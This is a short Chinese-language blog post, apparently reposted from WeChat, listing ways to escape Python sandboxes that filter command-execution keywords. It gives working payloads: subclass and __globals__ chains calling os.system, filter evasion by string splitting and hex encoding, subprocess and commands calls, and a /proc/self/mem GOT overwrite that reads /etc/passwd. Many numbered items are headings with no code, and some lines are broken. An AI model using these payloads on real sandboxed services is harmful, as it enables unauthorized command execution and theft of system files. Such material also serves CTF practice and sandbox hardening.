python程序中有时候过滤了一些命令执行的关键字我们怎么去绕过呢?
最原始的方法(python3.7以下可以用魔术方法绕过)
python2.7以下:
''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls')
python3.7以下:
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('ls')
但是3.7以上版本做了调整修补了很多内置函数。
目前3.11以下能用的方法如下:
(1)使用getattr函数
获取system函数地址,并进行函数调用
-
print(getattr(os, “system”)(“ls”))
当过滤了system关键字的话可以使用第三个参数调用popen,执行命令
print(getattr(a, 'x')) # 获取属性x 值
print(getattr(a, 'y', 'None'))# 获取属性 y 值不存在,但设置了默认值
还可以加上编码绕过
getattr(os,'676574637764'.decode('hex'))()
(2)使用eval或者exec
exec是Python的内置函数,能够执行储存在字符串或文件中的 Python 语句,和eval类似(exec(open('liyou.py').read())#直接导入外部模块,等于from xxx import *),但是eval不能换行操作,建议使用execv,当知道模块路径的时候就可以直接调用,比如os.py的路径,或者具备写入文件的操作写入字符在execv+read读取执行命令
首先写任意文件
文件内容不限只要读取的时候编码正确就行
执行exec拿到shell
(3)禁用某些关键字也可以组合的方式绕过,python3.7以下
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
(4)通过ORW方式不执行命令,只读只写文件(write,read)
(5)timeit命令执行
(6)platform命令执行(python3.7以下)
(7)subprocess命令执行
或者用call也可以subprocess.call('ifconfig', shell = True)
(8)pty命令执行
(9)commands命令执行(外部模块)
import commands
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
(10)codecs文件读取,配合exec命令执行
(11)execfile 动态运行文件中的代码(python3.7以下)
(12)compile 将一个字符串编译为字节代码
(13)命令行下的命令执行
(14)f格式化命令执行(python3.6以上)
(15)修改 GOT 表命令执行
把 fopen 的 GOT 改为 system。先用 objdump 查找
objdump -R /usr/bin/python | grep -E "fopen|system"
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /etc/passwd'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))
(
16)importlib命令执行(pytho
n3.x)
(17)file文件读取(配合exec执行命令),python2
原文始发于微信公众号(由由学习吧):python沙箱绕过的一些知识
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论